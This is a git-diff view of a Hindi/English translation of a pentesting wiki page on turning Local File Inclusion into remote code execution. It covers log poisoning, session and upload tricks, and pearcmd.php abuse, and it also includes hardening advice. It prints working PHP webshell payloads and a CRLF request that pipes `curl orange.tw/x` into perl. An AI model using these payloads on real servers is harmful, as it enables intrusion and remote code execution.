- किसी endpoint या background worker में एक write primitive पहचानें जो path/filename स्वीकार करता है और content को disk पर लिखता है (उदा., message-driven ingestion, XML/JSON command handlers, ZIP extractors, आदि)।
|
||||
- web-exposed directories पहचानें। सामान्य उदाहरण:
|
||||
Typical exploitation workflow:
|
||||
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
|
||||
- Determine web-exposed directories. Common examples:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- ऐसा traversal path बनाएं जो intended storage directory से निकलकर webroot में पहुँचे, और उसमें अपना webshell content शामिल करें।
|
||||
- dropped payload पर ब्राउज़ करें और commands execute करें।
|
||||
- एक traversal path craft करें जो intended storage directory से webroot में निकल जाए, और अपनी webshell content शामिल करें।
|
||||
- ड्रॉप किए गए payload पर ब्राउज़ करें और कमांड execute करें।
|
||||
|
||||
नोट्स:
|
||||
- जो vulnerable service write करता है वह non-HTTP port पर सुन सकता है (उदा., एक JMF XML listener on TCP 4004). मुख्य web portal (अलग port) बाद में आपका payload serve करेगा।
|
||||
- Java stacks पर, ये file writes अक्सर simple `File`/`Paths` concatenation के साथ implement होते हैं। canonicalisation/allow-listing का अभाव मुख्य कमजोरी है।
|
||||
Notes:
|
||||
- वह vulnerable service जो write करता है वह non-HTTP port पर सुन सकता है (उदा., TCP 4004 पर JMF XML listener)। मुख्य वेब पोर्टल (अलग port) बाद में आपका payload serve करेगा।
|
||||
- Java स्टैक्स पर, ये file writes अक्सर simple `File`/`Paths` concatenation से implement होते हैं। canonicalisation/allow-listing की कमी मूल दोष है।
|
||||
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
@ -466,25 +466,25 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
Hardening that defeats this class of bugs:
|
||||
- पाथ को canonical रूप में resolve करें और लागू करें कि यह किसी allow-listed बेस डायरेक्टरी का descendant ही हो।
|
||||
- किसी भी पाथ को अस्वीकार करें जिसमें `..`, absolute roots, या drive letters शामिल हों; generated filenames को प्राथमिकता दें।
|
||||
- writer को low-privileged account के रूप में चलाएँ और write डायरेक्टरीज़ को served roots से अलग रखें।
|
||||
इन क्लास की बग्स को रोकने वाली हार्डनिंग:
|
||||
- पाथ को कैनॉनिकल पाथ में resolve करें और सुनिश्चित करें कि यह allow-listed बेस डायरेक्टरी की उप-डायरेक्टरी हो।
|
||||
- ऐसे किसी भी पाथ को अस्वीकार करें जिसमें `..`, absolute roots, या drive letters शामिल हों; generated filenames को प्राथमिकता दें।
|
||||
- राइटर को कम-privileged अकाउंट पर चलाएँ और लिखने वाली डायरेक्टरीज़ को served roots से अलग रखें।
|
||||
|
||||
## Remote File Inclusion
|
||||
|
||||
पहले समझाया गया है, [**इस लिंक का पालन करें**](#remote-file-inclusion).
|
||||
Explained previously, [**follow this link**](#remote-file-inclusion).
|
||||
|
||||
### Via Apache/Nginx log file
|
||||
### Apache/Nginx log file के माध्यम से
|
||||
|
||||
अगर Apache या Nginx सर्वर **vulnerable to LFI** है और include फ़ंक्शन के अंदर है, तो आप कोशिश कर सकते हैं कि **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** तक पहुँचें, **user agent** में या किसी **GET parameter** में एक php shell जैसे **`<?php system($_GET['c']); ?>`** सेट करें और उस फाइल को include करें
|
||||
यदि Apache या Nginx server include फ़ंक्शन के भीतर **vulnerable to LFI** है तो आप कोशिश कर सकते हैं कि **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** तक पहुँचें, **user agent** या किसी **GET parameter** के अंदर एक php shell जैसे **`<?php system($_GET['c']); ?>`** सेट करें और उस फाइल को include करें
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि **अगर आप शेल में double quotes का उपयोग करते हैं** simple quotes के बजाय, double quotes स्ट्रिंग "_**quote;**_" के लिए बदल दिए जाएंगे, **PHP वहाँ एक error फेंकेगा** और **कुछ भी executed नहीं होगा**।
|
||||
> ध्यान दें कि **यदि आप shell के लिए double quotes का उपयोग करते हैं** simple quotes की बजाय, तो double quotes स्ट्रिंग "_**quote;**_" में बदल दिए जाएंगे, **PHP एक error फेंकेगा** और **कुछ भी execute नहीं होगा**।
|
||||
>
|
||||
> साथ ही, सुनिश्चित करें कि आप **payload को सही तरीके से लिखते हैं** वरना PHP हर बार जब लॉग फाइल को लोड करने की कोशिश करेगा त्रुटि देगा और आपको दूसरा मौका नहीं मिलेगा।
|
||||
> साथ ही, सुनिश्चित करें कि आप **payload को सही ढंग से लिखें** वरना PHP हर बार log फाइल लोड करने की कोशिश पर error देगा और आपको दूसरी बार अवसर नहीं मिलेगा।
|
||||
|
||||
यह अन्य लॉग्स में भी किया जा सकता है लेकिन **सावधान रहें,** लॉग्स के अंदर का कोड URL encoded हो सकता है और इससे Shell नष्ट हो सकती है। हेडर **authorisation "basic"** में Base64 में "user:password" शामिल होता है और यह लॉग्स के अंदर decoded होता है। PHPShell इस header के अंदर डाला जा सकता है.\
|
||||
यह अन्य logs में भी किया जा सकता है पर **सावधान रहें,** logs के अंदर कोड URL encoded हो सकता है और यह Shell को नष्ट कर सकता है। हेडर **authorisation "basic"** में Base64 में "user:password" होता है और यह logs के अंदर decoded होता है। PHPShell को इस हेडर के अंदर insert किया जा सकता है.\
|
||||
Other possible log paths:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -499,166 +499,167 @@ Other possible log paths:
|
||||
```
|
||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### ईमेल के द्वारा
|
||||
### ईमेल के माध्यम से
|
||||
|
||||
**एक मेल भेजें** internal account (user@localhost) को जिसमें आपका PHP payload जैसे `<?php echo system($_REQUEST["cmd"]); ?>` हो और उपयोगकर्ता की मेल को शामिल करने की कोशिश करें जिस path की तरह **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`**
|
||||
**एक मेल भेजें** एक आंतरिक खाते (user@localhost) पर जिसमें आपका PHP payload जैसे `<?php echo system($_REQUEST["cmd"]); ?>` हो और उपयोगकर्ता की मेल को इस पथ जैसे **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`** में include करने का प्रयास करें
|
||||
|
||||
### Via /proc/\*/fd/\*
|
||||
### /proc/*/fd/* के माध्यम से
|
||||
|
||||
1. कई shells अपलोड करें (उदाहरण: 100)
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), जहाँ $PID = प्रक्रिया का PID (can be brute forced) और $FD फाइल डिस्क्रिप्टर है (can be brute forced too)
|
||||
1. बहुत सारी shells अपलोड करें (उदाहरण के लिए: 100)
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), जहाँ $PID = प्रोसेस का PID (can be brute forced) और $FD file descriptor है (can be brute forced too)
|
||||
|
||||
### /proc/self/environ के द्वारा
|
||||
### /proc/self/environ के माध्यम से
|
||||
|
||||
एक लॉग फ़ाइल की तरह, payload को User-Agent में भेजें, यह /proc/self/environ फ़ाइल के अंदर परिलक्षित होगा
|
||||
लॉग फ़ाइल की तरह, payload को User-Agent में भेजें, यह /proc/self/environ फ़ाइल के अंदर प्रतिबिंबित होगा
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### अपलोड के जरिए
|
||||
### अपलोड के माध्यम से
|
||||
|
||||
यदि आप एक फ़ाइल अपलोड कर सकते हैं, तो बस उसमें shell payload इंजेक्ट कर दें (उदाहरण: `<?php system($_GET['c']); ?>`).
|
||||
यदि आप कोई फ़ाइल अपलोड कर सकते हैं, तो उसमें shell payload इंजेक्ट करें (उदा: `<?php system($_GET['c']); ?>` ).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
फ़ाइल को पढ़ने योग्य रखने के लिए, सबसे अच्छा है कि pictures/doc/pdf के metadata में inject किया जाए।
|
||||
फ़ाइल को पढ़ने योग्य रखने के लिए सबसे अच्छा है कि इसे pictures/doc/pdf के metadata में इंजेक्ट किया जाए
|
||||
|
||||
### Via Zip fie upload
|
||||
### Zip file अपलोड के माध्यम से
|
||||
|
||||
एक ZIP फ़ाइल अपलोड करें जिसमें compressed PHP shell शामिल हो और उसे access करें:
|
||||
एक ZIP file अपलोड करें जिसमें compressed PHP shell शामिल हो और फिर उसे एक्सेस करें:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### PHP sessions के माध्यम से
|
||||
### PHP Session के माध्यम से
|
||||
|
||||
जाँच करें कि वेबसाइट PHP Session (PHPSESSID) का उपयोग करती है या नहीं
|
||||
जाँचें कि वेबसाइट PHP Session (PHPSESSID) का उपयोग करती है या नहीं
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
PHP में ये sessions _/var/lib/php5/sess\\_\[PHPSESSID]\_ फाइलों में सहेजे जाते हैं।
|
||||
PHP में ये sessions _/var/lib/php5/sess\\_\[PHPSESSID]\_ files में संग्रहीत होते हैं
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
cookie को सेट करें: `<?php system('cat /etc/passwd');?>`
|
||||
cookie को `<?php system('cat /etc/passwd');?>` पर सेट करें
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
LFI का उपयोग करके PHP session फ़ाइल को include करें
|
||||
LFI का उपयोग करके PHP session file को include करें
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### Via ssh
|
||||
### ssh के माध्यम से
|
||||
|
||||
यदि ssh सक्रिय है, तो देखें कि किस उपयोगकर्ता का उपयोग किया जा रहा है (/proc/self/status & /etc/passwd) और **\<HOME>/.ssh/id_rsa** तक पहुँचने का प्रयास करें।
|
||||
अगर ssh सक्रिय है तो जांचें कि कौन सा user उपयोग हो रहा है (/proc/self/status & /etc/passwd) और कोशिश करें **\<HOME>/.ssh/id_rsa** तक पहुँचने की।
|
||||
|
||||
### **द्वारा** **vsftpd** _**लॉग्स**_
|
||||
### **के माध्यम से** **vsftpd** _**logs**_
|
||||
|
||||
FTP server vsftpd के logs _**/var/log/vsftpd.log**_ में स्थित होते हैं। ऐसी स्थिति में जहाँ Local File Inclusion (LFI) vulnerability मौजूद हो, और एक्सपोज्ड vsftpd server तक पहुँच संभव हो, तो निम्नलिखित कदम अपनाए जा सकते हैं:
|
||||
FTP सर्वर vsftpd के लॉग _**/var/log/vsftpd.log**_ पर स्थित होते हैं। यदि Local File Inclusion (LFI) vulnerability मौजूद है और exposed vsftpd server तक पहुँच संभव है, तो निम्नलिखित कदम अपनाए जा सकते हैं:
|
||||
|
||||
1. लॉगिन प्रक्रिया के दौरान username field में PHP payload इंजेक्ट करें।
|
||||
2. इंजेक्शन के बाद, LFI का उपयोग करके सर्वर logs को _**/var/log/vsftpd.log**_ से पुनः प्राप्त करें।
|
||||
1. लॉगिन प्रक्रिया के दौरान username फ़ील्ड में PHP payload inject करें।
|
||||
2. Injection के बाद, LFI का उपयोग करके सर्वर के लॉग _**/var/log/vsftpd.log**_ को प्राप्त करें।
|
||||
|
||||
### के माध्यम से php base64 filter (using base64)
|
||||
### php base64 filter (using base64) के माध्यम से
|
||||
|
||||
जैसा कि [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) लेख में दिखाया गया है, PHP base64 filter Non-base64 को अनदेखा कर देता है। आप इसका उपयोग file extension चेक को bypass करने के लिए कर सकते हैं: यदि आप ऐसा base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक उदाहरण payload है:
|
||||
जैसा कि [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article में दिखाया गया है, PHP base64 filter सिर्फ Non-base64 को ignore करता है। आप इसका उपयोग file extension check को bypass करने के लिए कर सकते हैं: यदि आप ऐसा base64 सप्लाई करते हैं जो ".php" पर समाप्त होता है, तो यह सिर्फ "." को ignore कर देगा और base64 में "php" append कर देगा। यहाँ एक example payload है:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
### php filters के माध्यम से (कोई फ़ाइल आवश्यक नहीं)
|
||||
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains कि आप **php filters to generate arbitrary content** का उपयोग करके आउटपुट के रूप में arbitrary content generate कर सकते हैं। जिसका मूलतः मतलब है कि आप include के लिए **arbitrary php code** generate कर सकते हैं बिना इसे किसी फ़ाइल में write किए।
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) समझाता है कि आप आउटपुट के रूप में **php filters to generate arbitrary content** का उपयोग कर सकते हैं। जिसका मूल अर्थ यह है कि आप include के लिए **generate arbitrary php code** कर सकते हैं, और वह भी इसे किसी फ़ाइल में लिखने की आवश्यकता के बिना।
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### Via segmentation fault
|
||||
### Segmentation fault के जरिए
|
||||
|
||||
**Upload** करें एक फ़ाइल जो `/tmp` में **temporary** के रूप में स्टोर होगी, फिर उसी **request** में एक **segmentation fault** ट्रिगर करें, और फिर वह **temporary file won't be deleted** होगी और आप उसे खोज सकते हैं।
|
||||
**Upload** एक फ़ाइल जो `/tmp` में **temporary** के रूप में स्टोर होगी, फिर उसी **same request,** में एक **segmentation fault** ट्रिगर करें, और तब वह **temporary file won't be deleted** होगा और आप उसे खोज सकते हैं।
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Nginx temp file storage
|
||||
### Nginx temp file storage के जरिए
|
||||
|
||||
यदि आपको **Local File Inclusion** मिला है और PHP के सामने **Nginx** चल रहा है तो आप निम्न तकनीक से RCE प्राप्त कर सकते हैं:
|
||||
यदि आपने **Local File Inclusion** पाया है और **Nginx** PHP के सामने चल रहा है, तो आप निम्न तकनीक से RCE प्राप्त कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
### PHP_SESSION_UPLOAD_PROGRESS के जरिए
|
||||
|
||||
यदि आपको **Local File Inclusion** मिला है भले ही आपकी कोई **session न हो** और `session.auto_start` `Off` हो। अगर आप **multipart POST** डेटा में **`PHP_SESSION_UPLOAD_PROGRESS`** प्रदान करते हैं, तो PHP आपके लिए **session को enable कर देगा**। आप इसे abuse करके RCE हासिल कर सकते हैं:
|
||||
यदि आपने **Local File Inclusion** पाया है भले ही आपकी **don't have a session** हो और `session.auto_start` `Off` हो। यदि आप **`PHP_SESSION_UPLOAD_PROGRESS`** को **multipart POST** डेटा में भेजते हैं, तो PHP आपके लिए **enable the session for you** कर देगा। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Via temp file uploads in Windows
|
||||
### Windows में temp file uploads के जरिए
|
||||
|
||||
यदि आपको **Local File Inclusion** मिला है और सर्वर **Windows** पर चल रहा है तो आप RCE प्राप्त कर सकते हैं:
|
||||
यदि आपने **Local File Inclusion** पाया है और सर्वर **Windows** पर चल रहा है, तो आप RCE प्राप्त कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
### Via `pearcmd.php` + URL args
|
||||
### `pearcmd.php` + URL args के जरिए
|
||||
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), स्क्रिप्ट `/usr/local/lib/phppearcmd.php` php docker images में default रूप से मौजूद है। इसके अलावा, URL के माध्यम से स्क्रिप्ट को arguments पास करना possible है क्योंकि बताया गया है कि अगर किसी URL param में `=` नहीं है तो उसे argument के रूप में उपयोग किया जाना चाहिए। देखें भी [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) और [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)।
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), `/usr/local/lib/phppearcmd.php` script php docker images में डिफ़ॉल्ट रूप से मौजूद है। इसके अलावा, URL के माध्यम से script को arguments पास करना संभव है क्योंकि बताया गया है कि यदि किसी URL param में `=` नहीं है, तो उसे argument के रूप में उपयोग किया जाना चाहिए। देखिए भी [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) और [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
|
||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
निम्नलिखित CRLF vuln का दुरुपयोग करके RCE प्राप्त करता है (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
निम्नलिखित CRLF vuln का दुरुपयोग करके RCE प्राप्त करता है (से [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
### Via phpinfo() (file_uploads = on)
|
||||
### phpinfo() के माध्यम से (file_uploads = on)
|
||||
|
||||
अगर आप किसी सिस्टम में **Local File Inclusion** पाते हैं और कोई फ़ाइल जो **phpinfo()** दिखाती है और file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:
|
||||
यदि आपने एक **Local File Inclusion** पाया है और एक फाइल जो **phpinfo()** दिखा रही है जिसमें file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
{{#endref}}
|
||||
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure के माध्यम से
|
||||
|
||||
यदि आप **Local File Inclusion** पाते हैं और आप टेम्प फ़ाइल का path exfiltrate कर सकते हैं, लेकिन **server** यह **checking** कर रहा है कि शामिल की जाने वाली फ़ाइल में PHP marks हैं या नहीं, तो आप इस **Race Condition** से उस जांच को **bypass** करने की कोशिश कर सकते हैं:
|
||||
यदि आपने एक **Local File Inclusion** पाया है और आप temp file का path **exfiltrate** कर सकते हैं BUT **server** यह **चेक** कर रहा है कि **include की जाने वाली फ़ाइल में PHP marks हैं**, तो आप इस **Race Condition** के साथ उस चेक को **bypass** करने की कोशिश कर सकते हैं:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
{{#endref}}
|
||||
|
||||
### Via eternal waiting + bruteforce
|
||||
### eternal waiting + bruteforce के माध्यम से
|
||||
|
||||
यदि आप LFI का दुरुपयोग करके **upload temporary files** कर सकते हैं और server पर PHP निष्पादन को **hang** कर सकते हैं, तो फिर आप घंटों तक फ़ाइल-नामों को **brute force** करके अस्थायी फ़ाइल ढूंढ सकते हैं:
|
||||
यदि आप LFI का दुरुपयोग करके **temporary files upload** कर सकते हैं और server के कारण PHP execution को **hang** करवा सकते हैं, तो आप घंटों तक filenames को **brute force** करके temporary file ढूँढ सकते हैं:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
### To Fatal Error
|
||||
### Fatal Error तक
|
||||
|
||||
यदि आप किसी भी फ़ाइल को include करते हैं `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`। (उस त्रुटि को उत्पन्न करने के लिए आपको उसी फ़ाइल को 2 बार include करने की आवश्यकता है).
|
||||
यदि आप किसी भी फ़ाइल को include करते हैं `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (आपको वही फ़ाइल 2 बार include करनी होगी ताकि वह error फेंके).
|
||||
|
||||
**मुझे नहीं पता कि यह कितना उपयोगी है पर हो सकता है।**\
|
||||
_यहाँ तक कि यदि आप PHP Fatal Error उत्पन्न करते हैं, तो अपलोड की गई PHP अस्थायी फ़ाइलें हटा दी जाती हैं._
|
||||
**मुझे नहीं पता कि यह कितना उपयोगी है पर यह हो सकता है।**\
|
||||
_भले ही आप एक PHP Fatal Error उत्पन्न करें, PHP द्वारा upload की गई temporary files delete कर दी जाती हैं._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user